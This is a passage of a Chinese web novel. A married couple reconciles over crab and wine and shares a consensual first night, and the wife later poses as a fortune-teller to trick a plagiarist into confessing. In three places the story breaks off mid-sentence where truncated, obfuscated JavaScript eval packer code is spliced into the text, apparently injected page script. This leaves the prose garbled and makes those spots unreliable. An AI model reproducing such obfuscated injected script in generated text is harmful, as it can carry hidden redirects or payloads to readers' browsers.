青朵摇头,把吴燕的事说了一遍,然后道:“我们听到她弟弟吴江挨打,本来我是想冲上去的,那个人不知道从哪冒出来,让我交给他来处理。只听‘叮咣’几声响,他就背着吴江回来了。功夫不错嘛!” “后来他向我说明身份,我才知道是你的安排,我才真正了解你的担忧,感受到你的用心。”青朵叹了口气, “卿卿,我知道我是个冒失鬼,从小到大,做什么事我都喜欢凭着自己一腔热情。替大家讨钱也是,脑袋一热,就想为他们打抱不平。因为我的不管不顾,还差点害了露浓姐。” “可现在我很清楚,我就是要管这件事,我就是要做这件事。这绝非一时意气,而是,而是,如果我不帮他们,他们还能去找谁呢?” “就算我要放下这担子,也得有人能接下它,这样我才能安心地离开呀!” “我清楚我自己有几斤几两,我也知道,我想事情远不如你周全,可这有什么关系呢?我还有大家呀!你补我的短,我补他的缺,这不就无懈可击了嘛!至于我,我能做到什么,我就做什么。” 青朵对上曾正卿的眼,笃定道:“哪怕我能做到的,不过是微薄声响,我也要,拼尽全力呐喊!” 她握紧双拳,眼睛亮得惊人:“我要让大家都听到:错的就是错的!” 曾正卿的眼底忧虑深深,他沉声道:“倘若你受到了伤害呢?你怎么办?有没有想过你的家人?有没有想过……我?” “什么都怕,那就什么都不能做了。”青朵十分坦然,“当然,我会保护好自己的。留得青山在才能有柴烧!” “倘若你失败了呢?那你所做的这一切都没有意义。” “失败?” 青朵毫不在意地笑了笑:“我想做的事却没有去做,那才叫‘失败’。” 曾正卿不得不正视眼前的她。他总当她只是个爱笑爱吃、爱闹爱玩的小姑娘,她的世界纯净无瑕,不染尘埃。他愿意,用尽全身力气为她构筑屏障,挡住世间一切纷扰,呵护她的小小天地。 而当他发觉,她要突破自己的保护,曾正卿以为这仍然是她的一场闹剧,当玩闹过了界,他下意识想要拉她回去,拉进他划好的那方安稳天地中。只有这样,他才能确保,自己有足够的能力去呵护她。 曾正卿没想到,这不是冲动,他更忘了一件事。 那是他圈定的安全区,不是青朵真正的天地。 在唐家败落的这些年,她从金尊玉贵的大小姐,沦落成市井奔波生计的寻常女子,他难以想象她经受的那些苦楚。可青朵身上偏偏有那么一股劲儿,让她乐呵呵地度过每一天。 以前参不透的问题,在这一刻有了答案。 她拥有义无反顾的勇敢。 而这份力量愈燃愈烈。使她不仅能为自己挺身而出,拯救自己于水火之中还能站出来,成为别人的倚靠。 他束不住她的。 他也不愿。 曾正卿释然地笑了:“那你便去做吧!” 青朵不敢相信自己的耳朵:“啊?你这么快就同意啦?那之前我们吵架算什么?” 她嘟囔着:“早知道一瓶酒和一盘炒蟹就能解决问题,那我早就给你两瓶酒和两盘炒蟹了!” 曾正卿又被她逗笑:“当然不是因为酒和炒蟹。” “是我不知夫人心意这般笃定,倒是我小看你你了,既然如此,我当然是要全力支持的,总不能成了你的拖累。” 青朵猛地站起来,绕过桌子扑到他怀里,欢快道:“太好了!我们终于又同心啦!” 曾正卿他伸手揽住她的腰,轻轻一带,便让她稳稳坐在自己的腿上,听她絮絮说道:“之前你拦我的时候,别提我有多伤心了!虽说咱们是因为婚约走到一起,但你懂我,也肯去理解我。那几天,我一直难过,这样善解人意的你不见了……” “幸好你没有变。”她抱得更紧,忽地放低声音说,“卿卿,你不愿一起把这件事做下去,我不该骂你胆小鬼。你有你的难处,有你的考量,你尊重我的想法,我也该换位思考,尊重你的决定才是。” 曾正卿又惊又喜,他松开青朵喟叹道:“我真是有福气,能娶得通情达理的妻子。” 青朵调皮道:“你当然是有福气的,‘有福之人不进无福之门’,反正啊,我是有福气的那个,你们家当然也都是有福气的啦!” 曾正卿闷笑几声,刮了刮青朵的鼻子,又把她揽在怀里,下巴贴着她的脑袋:“我就知道你终会理解我,只是当时在气头上,一时没有办法冷静思考。” 青朵忽然想到什么,兴高采烈道:“我有办法了!下次如果我们再发生争执,陷入情绪中,都觉得自己有理,就说一个暗号,这个时候,双方都得站在对方的角度上,为对方说话,这样慢慢地就能体会对方的心情了!” “有趣,不过什么词比较好呢?”曾正卿沉吟着,目光忽然落到桌上残留的蟹壳上,脱口而出,“炒蟹?” “炒蟹?”青朵一怔,随即嘻嘻笑道,“这样说来,今日这盘小小炒蟹,倒成了咱们夫妻和解的功臣,螃蟹呀螃蟹,你好大的功德哟!” 青朵站起身来,将两个杯子都倒满酒,递给曾正卿,笑盈盈道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯?”肩上突然滚烫,青朵顿时被惊醒,她睡眼惺忪地看了看肩上的手掌,又抬眼看向有些不安的曾正卿,刚要闭上眼,又一下子惊醒,她甩开他的收,爬起来拽过被子遮住上身,惊道:“曾正卿!你想干什么!” 曾正卿闭了闭眼,希望青朵眼中“看登徒子”的嫌弃目光是自己的幻觉。他睁开眼,无力地解释道:“我是想帮你翻身,让你平躺着睡……” 夫人眯起眼睛,上下打量他,眸中的怀疑并没有减少,曾正卿叹了口气,坐在床边:“我早说过,这事要等你心甘情愿,我不会逼迫你半分。大丈夫一言既出,我怎会背地做这种事!” “哼!你都能偷亲我,怎么不会背地里做这种事!”青朵不假思索地说道。 “我哪有……”曾正卿刚想反驳,却突然意识到什么,惊讶地看向她。 青朵脑袋“嗡”地一声,她的酒彻底醒了,当时他亲自己的时候,自己都是装睡,现在说出来,不是说明自己当时装睡?她连连摇手,语无伦次地解释: “不不,不,我不是说它真实发生,我是,随便举一个例子,对,是例子,随便举一个,嗯,嗯……”越是急的时候,脑袋越是转不动,突然灵感一闪,她脱口道,“就是,就是一个我睡觉的时候,你偷亲的例子!” 曾正卿的笑声响起,轮到青朵无力地瘫下去。 啊啊啊!菩萨!她说的都是什么大实话! 曾正卿亲了亲她的额头,温柔地注视着她:“原来你早就接受我了。为什么不告诉我你知道?” “那又怎样!”青朵嘴硬道,“你知道了又能怎样!” “早知道你不抗拒,我就多亲一亲你。” “哼,我就知道!所以我才,我才……” 她说不下去了,他们之间离得那样近,近到她可以看见他眼眸中,倒映的自己。 呼吸急促起来了。像是天要下雨前,带来的一阵风,所有人都知道,将要到来的是什么。 青朵也明白,她的心跳得像轰隆隆的天雷。 她慢慢地,闭上眼睛。 50. 首战 密密的亲吻如雨丝落在她的唇上,身上。青朵的心里似乎也有什么破土而生,她的手臂化作藤蔓,攀上他的脖颈,身子也向上攀援,却又被他牢牢地压住,彼此密不可分。 “啊!” 下面突然传来锥心的疼痛。 有人要铲断她这根藤! 青朵倒吸一口冷气,手脚并用推拒曾正卿的接近,气恼道:“你攻击我!” 曾正卿按下她的腿,以防她不经意的飞踢,安抚道:“我已经尽力轻了,那我再轻些。” 青朵仍然不肯松手,满脸都是不信服。光这一下,还没进去就这么疼,不敢想真正的会有多疼! 她疑惑道:“你,你确定……你……”她飞速地思考,想找一个替换掉“会”“行”“可以”的说法,不去伤害他作为男人的自尊。最终说道,“你知道怎么做吗?” “当然!”曾正卿不能接受这种质疑。他要用行动来回答! 青朵急忙制止他,质疑道:“你真知道?”脑袋想过一个可怕的想法,她震惊道:“你有过?” “……你不要污我清白!” 曾正卿倾下身子欲吻,青朵却捂住他的嘴,对于他真会假会仍持有怀疑:“那你怎么会的?” 她忽地记起曾正卿曾拿过一本春宫给她“启蒙”,碰巧还是自己画的那本。不禁失口说道:“难道你也是看春宫图……” 曾正卿趁她恍惚间,按下她推拒的手,要继续未完成的“大业”,可青朵左躲右闪不再配合,他忍着躁动,哄劝道:“阿照,我们再试一次。女子初次多有不适,我会小心的。你先,你先允我,允我……等我们亲密无间之时,你让我怎样,我就怎样。” 青朵听到话里含有恳求之意,心中一软,好吧好吧,伸头一刀,缩头要两刀,两刀不如一刀,她再次闭上眼睛,凛然道:“动手吧!” 她心里“深明大义”,身体却像黄昏时闭合的牵牛花,整个人躺得板板正正,四肢粘在一起,掰都掰不开。 本来第一次曾正卿就紧张,人虽不生,但“路”真是不熟。他还担心伤到青朵,于是束手束脚,再加上这明明是两个人共同完成的事,另一个躺得像条挂在绳上风干多时,硬邦邦的咸鱼,无声地传达两个大字:“拒绝”。这叫他如何“下手”? 曾正卿长叹一声,翻身躺在床上,手臂遮住眼睛,无奈道:“你真是我的活祖宗!” 只听“簌簌”声响,青朵拉起被子裹住自己,仅露出脑袋,她脖子一缩,小声道:“对不起。” “我以为我准备好了……可还是不行,疼……”青朵说到最后,有些委屈,剩下的大多是被骗的气愤。 怪不得春宫图大多是男人画的!都是男人拿来骗人的!痛都痛死了!哪里愉悦?! 曾正卿放下手臂,转身正视着她的眼睛,柔声道:“你不必道歉,你没做错什么,还是我心急。往好处想,我们都向前迈出很大一步,对不对?” 话虽这样说,青朵叹了口气,担忧道:“如果我一直怕疼,那怎么办?难道我们就永远无法……” “不会的。”曾正卿抱她入怀,制止她的胡思乱想,肯定道。 “……你真乐观。”怀中传来青朵闷闷的声音。 曾正卿笑了起来。两人窝在一起,喁喁私语,伴随悠长宁静的夜,相拥而眠。 青朵朦胧中感到脸上痒痒的,好像有什么东西在爬。她伸手抓了几次,都抓不到,她气恼地睁眼一瞧,曾正卿支起身子,低头看她,星眸含笑。 他手中揪着她的一缕头发,在她脸上又扫了扫,笑道:“夫人好睡啊!” 讨厌! 青朵眯着眼睛阻止他,他却灵巧地躲来躲去,她双手在空中挥来挥去,一边嘟囔着:“不要搅我!让我再睡一会儿!你也去睡!” 却听他叹道:“到嘴的鸭子飞了,叫我怎么睡?” 你说谁是鸭子? 青朵不乐意了,她清醒过来,睁开眼睛反驳道:“我是仙女,你才是鸭子呢!” 她眼睛一转,计上心头,不待曾正卿说话,就抢在他前面,把他的嘴巴捏扁,自己噘着嘴配音道:“我叫曾正卿,我是一只鸭子!” 她又捏了两下:“嘎!嘎!” “哈哈哈哈哈!” 说到最后,自己乐不可支,手脚酸软放开他。曾正卿初时一怔,后来也忍俊不禁,他笑道:“好啊!那鸭子可要啄仙女了!”话音刚落,他就抱住青朵,一顿乱亲,青朵“咯咯”笑着左右躲闪。 院子里,丫头们正打扫院子,听到屋里传来嬉笑声,都忍不住偷笑,丫头小慧冲着芳晴笑嘻嘻道:“大少爷又回来住了!” 芳晴笑着点头,暗自琢磨大少爷究竟做了什么,讨得少夫人的欢心,明明之前理都不理,昨天回来少夫人一回来,就急冲冲地要为他准备生辰宴。 想不明白,她又摇了摇头,他们和好就行,管它什么原因呢。 正想着,小慧用手肘碰了碰她,低声道:“你说,我们是不是很快就会迎来小少爷,或者小小姐了?” 两个丫头心有灵犀地望向屋子,互相对视一眼,捂着嘴巴笑起来,心照不宣。 * 彩兰斋染布坊的东家夫人四十岁时,得了小公子董文远。这东家夫人为乞母子平安,动不动就往庙里跑,念佛抄经,最后平安生下他。她总觉得这是自己诚心敬拜的功德,是佛祖显灵。 至此,她最爱听那些善男信女积善获得福报的故事,董文远跟在身边,受到她的影响,自己打心眼里觉得神佛可敬,总觉得冥冥之中,掌控这一切的,都是神仙的力量。 他平时也爱听些神神鬼鬼的故事,听得多了,心里跟着痒起来,自己也想编点什么。可他虽爱听故事,却不爱读书习字,识字不多,只能请人将他口述的故事记录下来,再找书商印成册子卖出去,如今算来,也有整整九本了。 只是那些故事,多是他听别人讲完,东拼西凑,添油加醋改编而成。他也知道自己没有这方面天赋,毕竟这九本里面,只有一本没折本,其他的除了自己,鲜有人买。而那一本嘛……还有点儿说道。 好在家底厚实,自有亲娘心疼,填补亏空,他也不大放在心上。这日,董文远一如往常,前去雨前茶社喝茶,说是喝茶,实际是去听故事。 小二贴心照顾这位常客,将龙井与几样点心轻声放在桌上。董文远已听说书人讲算命的故事入迷: “……这算命先生可不一般,据说他能窥见天机,算卦讲究一个机缘,只肯为有缘分的人卜卦。” “你单瞧他那模样,更是古怪:长相似是十几岁的少年,下巴上胡子却一大把,谁人也不晓他究竟多大年纪。个头虽矮,卜卦的本事却高,无人不服,无人不赞,因这童稚的容颜却含着通透的心,大家都唤他‘童颜术士’。” 董文远正听得出神,却听有人出言嘲道:“这些算命先生最会骗人!我上次就问街口那个瞎子李,让他算什么时候能发财,他说是今年,啊呸!今年都快过完了,我半点钱影都没见到!” 马上有人回讥道:“是个明眼人都知道,那瞎子李根本不瞎,你连这都看不来,怪不得受骗!”众人闻言哈哈笑起来。 先前那人涨红了脸,一拳砸向桌子:“我这就找他算账去!”怒气冲冲离去。众人不禁窃窃私语,忽听一女子朗声道:“依我看来,这求签算卦之事,卦象如何是一回事,更多的要看求者心诚不诚。” “倘若心诚,哪怕是下下签,窥破天命之人也愿意指条道路,给个转圜的机会;倘若心不诚,纵使上上签,也难以应验。” 董文远不由得打量起那女子,见她身形单薄,却有玉洁冰清之感,她的字字句句,正合自己的心意,不由得暗自点头。 正在琢磨,又听到那说书人笑道:“姑娘所言正是,一日,童颜术士带着他的童子赶路,恰逢暮色,便寻了户人家求宿。那家夫妇憨厚,殷切招待,正好家中有一独子,明日就要启程进京赶考,夫妇俩便恳请他算上一卦。” “受人之恩,难以推脱,术士问了独子的生辰八字,闭目片刻。嘱咐道:‘此次上京,若想有成,放榜之前切莫见客,更不可应酬周旋。’” “夫妇千恩万谢,对着儿子百般叮咛。可这独子却完全不当回事儿。想他寒窗苦读,中与不中全凭自己的才学,哪是一个半仙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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董文远却觉得此人无知且傲慢,换做是自己,定然规规矩矩听他的话,敬守天机,绝对不会落得这般下场。 哼!什么才华横溢的状元郎,还不如他对说不清的力量了如指掌!这故事中的因果,恰与他尊信天命的心思丝丝合扣,他心中熨帖,当即命小厮将赏钱给说书人送去,那说书人接了赏,冲他拱手致谢:“谢董爷的赏!” 董文远微微颔头,小二换了新的茶,他喝了几口,又听了几个故事,总觉得不如第一个令人满意。于是起身施施然上轿离去。 “还有多久到家?” “快了,快了。拐个弯儿,马上就到了。”跟在轿旁的小厮忙回道。 董文远又不禁回想起刚才那个故事,忽然听到前面有人吟道。 “人生漫漫路何边?掐指一算道详端。三生定数迷心智,童颜术士把命宣。” 董文远心头大震,什么?“童颜术士”?他没听错吧?自己竟然碰到了童颜术士? 他连忙掀开轿帘,眼见迎面一人,身穿灰色大褂,头戴方巾,长须轻垂,皮肤却光滑无比,真是少年貌,老年须,真与说书人所说的童颜术士长相相符!后面还跟着一个高个的汉子,面容黝黑,扛着幡儿,上面写着“童颜”二字。 董文远心中更无怀疑,他一边喊道:“大师停步!”,一边叫道“停轿!停轿!”还不等轿子停稳就冲下来,整理衣服恭恭敬敬地拜下身去,心情激荡:“童颜大师,小人,小人竟然有幸,遇到大师!” “哦?你认识我?”童颜算士抚着长须问道。 董文远这才发现,他的声音既有老者的沧桑,又有少年的清脆,不禁暗暗称奇,毕恭毕敬地回答:“是,是。早听说大师慧眼识缘,只肯为有机缘者卜算前事。小人今日斗胆上前,不知是否有幸,能入得大师法眼?” “若您不嫌弃,还请大师为我指点迷津,当然,当然,我绝不会让大师白费心神,些许薄礼,马上就奉上。” 那“大师”眯起眼睛,仔细端详董文远一番,瞧得他眼睛都不敢眨。“大师”又闭目不知在想什么,嘴里嘀哩咕噜地念叨了一阵,忽地睁开眼睛,笑道:“我是与你的银……与你有些缘分。” 董文远大喜:“前面就是小人的家,还请大师移步,不不不,大师请上轿。我走着,咱们回府,喝茶再谈。我家有上好的碧螺春!” “茶?”“童颜”算士摇头,“茶就不喝了。我老人家年纪大,喝茶,晚上睡不着觉!” “不过,若是有冰酥酪,我老人家倒是可以来上一碗。” “他”伸出一根手指晃了晃,笑眯眯地说道。 51. 扶乩 此人正是青朵。见大鱼上钩,她毫不客气地说道:“既然如此,那我们就叨扰了。” 说完,转身就要上轿,突然停住回头儿吩咐跟在身后的汉子,说道:“小熠子,你可得跟紧了!”冲着他眨了眨眼。 朱熠很是不满,他好不容易搜肠刮肚,给自己的起了一个仙风道骨般的名字:“玄和”,昨天计划的时候,明明都说好了。她怎么临时改名?还改了一个太监名? 他瞥了一眼董文远,唯恐说什么让他察觉,只能忍气吞声,做好“小熠子”。 偷去吴燕丈夫所著书的,就是这个董文远。青朵他们想要帮她讨回润笔费,可若像吴江那样找上门,恐怕也是两手空空而回,所以这事,只能智取,不可硬攻。 幸而青朵从曾正卿那里得了消息,知道董家小少爷喜欢听故事,且迷信,于是露浓心生一计,她先写一个故事,让董文远对算命先生深信不疑,然后由青朵扮演算命先生接近他,后头的事,自然就水到渠成。 当青朵看到露浓写的故事,她面容上的笑瞬间消失了,脸色凝重起来。 “怎么了?是哪里有破绽吗?”露浓见青朵这幅样子,紧张道,“我们再怎么乔装打扮,也有可能有漏洞,所以我特意以你为原型,设计一个奇人,奇人自有奇貌,就不容易引起别人的怀疑了!” “哈哈,”青朵扯了下嘴角,挤出一个笑容,“露浓姐好细致。只是……你,你怎么想出这个故事的?” “这不是我编的,是震惊天下的大案,小时候我爹给我讲过,只是我有点记不太清了。写的时候突然想起这件事,就融进算士这个人物改编了一下。是有什么问题吗?”露浓看青朵的脸色发白,担忧道。 “没有,挺好的。”青朵放下稿子,转身就往屋外走,“我去试试那算命先生的服装!” “哎,青朵……”露浓看着她的背影,心里很是不安:青朵明明刚试过衣服呀! 三人明确各自的职责:露浓守在雨前茶社,买通说书人讲她编写的故事,若听到哪里不对,方便及时进行调整;青朵聪明机敏,由她来扮演童颜术士;而朱熠则扮作青朵的童子,负责保护她的安全。 一切按照计划进行着。青朵和朱熠进入董宅,董文远招待他们去了自己的书房。 青朵一进屋子,看到满架子的书,心里冒出几分疑惑,难道这家伙真有几分真才实学,卿卿的情报有误?她趁董文远出去吩咐仆人的空档,快步溜到书架旁,随手抽出一本《论语》。见那封皮已经褪了色,边角也都卷了起来。 呵,他还挺用功的。青朵想着,打开书一瞧,差点笑出声来,外面是《论语》的封面,里面却不知是什么名字的画册。画上一个虾头妖怪,正持刀枪与鱼头怪物斗法,刀光剑影,栩栩如生。 外面传来脚步声,她手忙脚乱把书塞进去,转身时满脸堆着笑,假惺惺地称赞:“公子藏书丰厚,原来是饱读诗书之人,佩服佩服!” “哪里哪里?”董文远“谦虚”道,“只是略知一二。” 他请青朵上座,青朵大咧咧地坐下,朱熠坐在侧面。仆人端上冰酥酪,董文远殷勤地放到青朵面前,青朵怕自己露馅,撩起胡子挡住碗,舀起一勺放到嘴里。 清清凉凉的奶香在口中散开,青朵的精神也为之一振,她没有忘记自己的目的,问了董文远的生辰八字,伸出左手,大拇指从食指点到小指,又从小指点回食指,装腔作势地掐算了一会儿,笑道:“哎呀,公子,你就别和我谦虚了,刚见你的时候,你的眉宇间就透露出文气,很是与笔墨有缘啊!” 董文远闻言,眼睛亮得像黑夜中的狼眼,他直拍大腿:“大师果然就是大师,你说的不错。小人确实创作过几本故事,但很可惜,除了一本还算过得去,其他几个嘛……唉,终究是没遇上懂得欣赏的人。” 青朵听到他提及特别的一本,顿时警醒,面上却不动声色道:“那一本有什么特别之处?” “这个嘛……”董文远看了青朵一眼,并未往下说。 青朵见他不言,更加确认吴燕所说为实。虽然他现在不想说,但青朵有把握引导他主动说出来。 她慢吞吞地又吃了几勺冰酥酪,说道:“公子,照我算来,你其他几本书没有‘遇’到能够欣赏他们的人,不是书的问题,而是……” “而是什么?”董文远身子倾向青朵,急道。 “而是被冤孽缠上身,我老人家今日与你有机缘,愿意以扶乩的方式,请上仙为你斩草除根,从此前程开阔,扬名立万,不知你意下如何?” 一番话说得董文远心痒痒,他迫不及待道:“愿意,我当然愿意!这么多年,终于有人破我这局,我真是求之不得!” “那好,”青朵放下勺子,一本正经胡诌道,“所谓扶乩,需要请仙上身,我这位小熠子,就是乩童,等上仙入了他的身,你提出的问题就会得到解答。” “只是,你想要甲等仙,乙等仙还是丙等仙?” 董文远一头雾水:“这……这有什么区别。” “区别大了。”朱熠道,“甲等仙三十两,乙等仙三两,丙等仙三十文。” “我们可不是为了自己挣钱,这些都是要事后供奉给仙主的。”青朵笑眯眯道。 “这我当然明白,价钱相差这么多,效用上……”董文远犹豫道。 “咳,我这么说你就懂了,”青朵指了指面前的冰酥酪,“就像这碗冰酥酪,都是用牛乳熬制而成,为什么价格有高有低?那是因为牛乳的浓淡不同。” “而我这个甲乙丙等,仙的‘浓淡’也有不同,丙等,很大可能招来的是孤魂野鬼;乙等,招来的仙可能灵力不足以斟破奥妙天机;只有甲等,那才是有问必答的绝妙体验!” 董文远再无犹豫:“甲!甲!甲!” 他击了击手掌,便有伶俐的仆人奉上银两,拿了钱,事就成了一半,朱熠掩藏不住地雀跃,青朵走过去将银子递给他,冲他使了个眼色,朱熠垂下头,隐去神情。 朱熠站起身来,从挎包里取出一个“丁”型的桃木乩架,上面绑着一只毛笔。青朵请人取来一个沙盘,放在毛笔下,自己则是把手分别插入袖子中,各掏出一柄小小的桃木剑,上面还系着铃铛,她松开捆绑,顿时铃铛“哗啦啦”地响。 她一脸严肃道:“待会儿我就要请仙降临,这屋里只留咱们三人,切记不可惊慌失措,若是惊动了上仙,先前的布置,可就白费了。” 董文远立刻挥手让仆从都退下,亲手关上房门,转过身时,忐忑地盯着青朵,身子僵立在原地,连大气都不敢喘,生怕自己稍微动弹,就搅扰了仪式。 “对了,还有一事得嘱咐你,”青朵双手举起桃木剑,“对神仙不能说谎哟!” 说完,还不等董文远表示可否,她就开始剧烈地晃动手中的桃木剑。仿佛嫌铃铛声不够响亮,嘴里还跟着发出“咻咻咻”的声音。 董文远也跟着屏住呼吸,突然!“大师”双臂猛地舞动起来,双臂快速画圆,重重叠叠让人眼花缭乱,仿佛是观音的千万个手臂上下翻飞。铃铛声,像是无数个被车辙压起弹跳的碎石,密密地砸到人的心上,让人心慌失措。 朱熠坐在凳子上,双手扶着乩架,但暗中使劲掐自己的胳膊,才能让自己不笑出声来。他不是第一次见青朵自己设计的“召仙舞”,之前在露浓家,她就当着他们的面,演练过几次。但每次都有所不同,所谓百尺竿头更进一步,青朵的“召仙舞”也不断地,在疯魔的道路上进了一步,又一步。 他不得不承认,在装神弄鬼方面,青朵天赋异禀,出类拔萃。 董文远捂着胸口,揉了揉眼睛,努力跟上“大师”的节奏,又见“大师”换了姿势,她手持桃木剑左刺刺,右刺刺,上戳戳,下戳戳,嘴里念念有词道: “天灵灵,地灵灵,不如朵仙要显灵。邪佞奸心设陷阱,怎堪恶行不公平?” “天青青,地清清,招来朵仙要显灵。笔墨蒙尘失才名,洗净污名心方宁。” “天郎朗,地明明,朵仙马上就显灵。冤有头来债有主,是非曲直要清明!” 也许是屋里不通气的缘故,“大师”嘀哩咕噜的一大段念下来,董文远只觉得心里突突直跳,浑身汗涔涔的,他捂着胸口,掏出手帕擦了擦额上的汗。什么“失才名”“蒙尘”“污名”,这话怎么越听,越觉得心虚呢? 这时,青朵大师完成她的戳戳刺刺,这还没完,她像被捅了窝的马蜂,不规则地乱跳一顿,忽地收了灵通,双剑交叉高高举起:“还不恭迎朵仙?” 董文远立马撩起袍子,跪在地上诚心礼拜:“小人董文远。恭迎朵仙驾临!” 不过“朵仙”是个什么仙?自己怎么从来没有听说过? * 这个念头刚闪出,董文源马上暗骂自己对神灵不敬。他抬头偷瞄了一眼,大师一脸虔诚地盯着交叉的剑尖,仿佛那上面就是他看不见的真神。他心虚地低下头,唯恐自己刚才的小心思被大师与神仙发现,于是又恭恭敬敬地朝大师,磕了三个响头。 青朵装腔作势地举着两把剑,如同螃蟹一般,朝朱熠的方向横着挪动。朱熠明白到了自己该出场的时候。他一脸肃穆地抬起手掌,手心朝上,双眼紧闭,准备接过“朵仙”。 “咻——” 胸前一痛,朱熠蓦地睁开眼睛,低头一看,两把桃木剑戳在自己身上。 他震惊地对上青朵的双眼,后者仗着背对董文远,竟然还有脸冲他挤眉弄眼! 朱熠刚想指责她,突然瞥见董文远抬起头,正茫然地望向他们。闭了闭眼,咽下对于青朵再次不按计划出牌的怒火,反复提醒自己:以大局为重,以大局为重! 于是,朱熠“啊”了一声,浑身抽动起来,像是要甩掉什么似的。眼睛倏地瞪得溜圆,直勾勾地望着前面,喉咙里发出“嗬嗬”的怪响,他双手捂着脖子,像是要把什么掏出来。 青朵嫌弃地瞧着他,这戏也太差了,明明她亲自指导过,怎么朱熠演出来,还像饮了鸩酒中毒似的! 董文远见这架势,瘫软在地上,也不禁哆嗦起来。这时,朱熠稳住身子,不再抖动,可眼睛还是没有半分神采,他双手扶起乩架,一副准备就绪的模样。 青朵清了清嗓子:“董公子,朵仙上身了,你有什么问题就快问吧,过一会儿,她可就要走了。” “是,是。”突然让他问问题,董文远有些慌乱,他想了想,问了第一个问题,“大师说我身上有邪气缠身,这是从哪来的呢?” 朱熠扶着乩架胡乱地在沙盘作画,青朵有模有样地端详了一会儿,解读道:“咦?朵仙说你夺了别人的东西,所以那人向你讨债来了。” 董文远的脸上满是迷茫:“我不曾夺别人的东西啊!我随母亲一心为善,我们家还常常布施!” 之前提起他那本特别的书,他都不愿多谈。青朵虽然警诫他对神仙要吐露真言,他竟也不肯说。哼,只能说得再明白些,看他怎么装糊涂! “嗯……这是什么字?”青朵盯着沙盘上无规则的画符,故作沉吟道,“是个‘书’字,没错是‘书’,” 她望向董文远,冷冷道:“朵仙说你夺了别人的书!” 董文远脸顿时涨得通红,反驳道:“我没有夺!他明码标价!我画大价钱买的!” * 青朵大吃一惊,朱熠也停止乱画,不过他很快反应过来,又继续面无表情,一脸呆滞地扶乩。 青朵板起脸训道:“我可警告你,你要是敢对朵仙撒谎,她可就起驾回仙宫了!你可不能拿自己的前途开玩笑!” “我没说谎!”董文远急着辩解道,“就算我不为自己未来着想,我也不敢欺骗神明!” 青朵的心咯噔一下,难道骗他们的不是董文远,而是吴燕?可她实在不愿将那可怜的孤儿寡母和骗子联想在一起,于是说道:“可朵仙只看到你夺了被人的书,你有什么隐情,赶紧向朵仙解释清楚!” 董文远重新跪在地上,双手合十恭敬说道:“朵仙在上,小人董文远不敢说谎。这事……这事……”他瞄了青朵一眼,又不说了。 “我老人家你还信不过?要不然我现在撤神?”青朵白了他一眼。 “不是这回事,”他连忙解释道,叹了口气,“唉,实在是这件事不光彩之极!” “我写了好几本故事,都如石沉大海,半点回响也无,心中焦急难耐,不知何时才有出头之日。那时与朋友闲谈之时,忍不住吐了这满心烦忧,他听了后,介绍我一个叫‘守真堂’的书铺,说那个赛掌柜是个有门路的,我想快速出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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青朵装模作样地回身看了眼沙盘,说道:“朵仙说了,这事不解,你一辈子都别想出人头地!” 董文远懊悔道:“赛掌柜误我!” “今天就到这吧!等你什么时候处理好这件事,我们再继续。”青朵拍拍朱熠,朱熠身子一晃,然后一副刚睡醒的样子,明知故问道:“朵仙走了?” “可是大师,等我此事处理完,还能否再见到你?” “我不是说了嘛!我给你有缘,有事你自然会碰到我的!”青朵带着朱熠往外走。 朱熠小声道:“这么就成了?” 青朵微微一笑:“不仅成了,他还得感谢我哩!” 果不其然,他们没走几步,就听到后面传来董文远感激地喊声:“多谢大师指点!多谢朵仙降临!” 青朵头也不回,只举起右手,何意?区区小事,不足挂齿也! * 轻轻松松地挣得30两,青朵和朱熠走到隐蔽的地方,迅速脱了身上的衣服,收起幡旗,两人若无其事混到人群中。 计划成功朱熠很是兴奋,忍不住念叨着:“嘿,他这回肯定去找赛林甫的麻烦。我倒是要看看,赛林甫怎么交代!” 青朵并不吭声。朱熠感到奇怪,见青朵脸上一点兴奋也无,和平时完全不一样,奇怪地问道:“小青朵,你怎么了?” 青岛摇摇头,她说道:“朱大哥,你把银子给吴燕姐姐送去。我有点儿累了,就先回去了。” 朱熠看着青朵的背影,挠了挠头,这家伙怎么回事?往常做成点儿事情比谁都兴奋,恨不得跑去跟土地爷都邀个功,眼下怎么整个人都蔫儿了呢? * 曾正卿一迈进院子,就看到青朵伏在窗边的案上,手持画笔,似是专心作画。他嘴边含笑,轻手轻脚跨入屋中,本想吓她一下,隔着几步远,才看清她正沉沉睡着,想来是画了一半,倦意上头,连笔都没放下,就这么睡熟了。 他瞧着直心疼,夫人近日一面为受害者们奔走操劳,一面还得赶着练画,实在辛苦极了。他走上前去,原想抽走她手中的笔,抱她去床上睡。可眼角余光扫过桌上的画,动作猛地停下,满脸的怔忡。 画中仕女手执纨扇,侧身而立,她面容姣好,脸上带有化不开的惆怅。一双眸子凝视远方。整个画面空旷得很,只有角落里,立着稀稀落落的几根细竹,更显得她身影孤孤单单、 夫人的画工又精进了。但这并不是曾正卿惊讶的原因。真正让他诧异的是,这幅画里流露出的哀伤。他不是没见过青朵难过的一面,但这种无可奈何的绝望,像一把刀,刺痛了他。 发生什么事了? 他忍不住轻拍唤醒她:“夫人。” 青朵幽幽醒转,看到曾正卿惊讶地说道:“卿卿?你回来啦?咦,我怎么睡着了呢?” “你太累了。”曾正卿柔声道,“今晚早点休息吧。” 他试探地又问了一句:“你们今天顺利吗?” “顺利!”青朵将露浓的计划,以及她与朱熠的行动一一说出。 曾正卿起初听着他们的计划,忍俊不禁,可当青朵讲到露浓那故事具体内容时,笑意顿时从脸上褪去,他的神色凝重起来,目光中多了担忧,他凝视着青朵,看着她故作轻松的模样,心里又酸又痛,眼里满满都是疼惜。 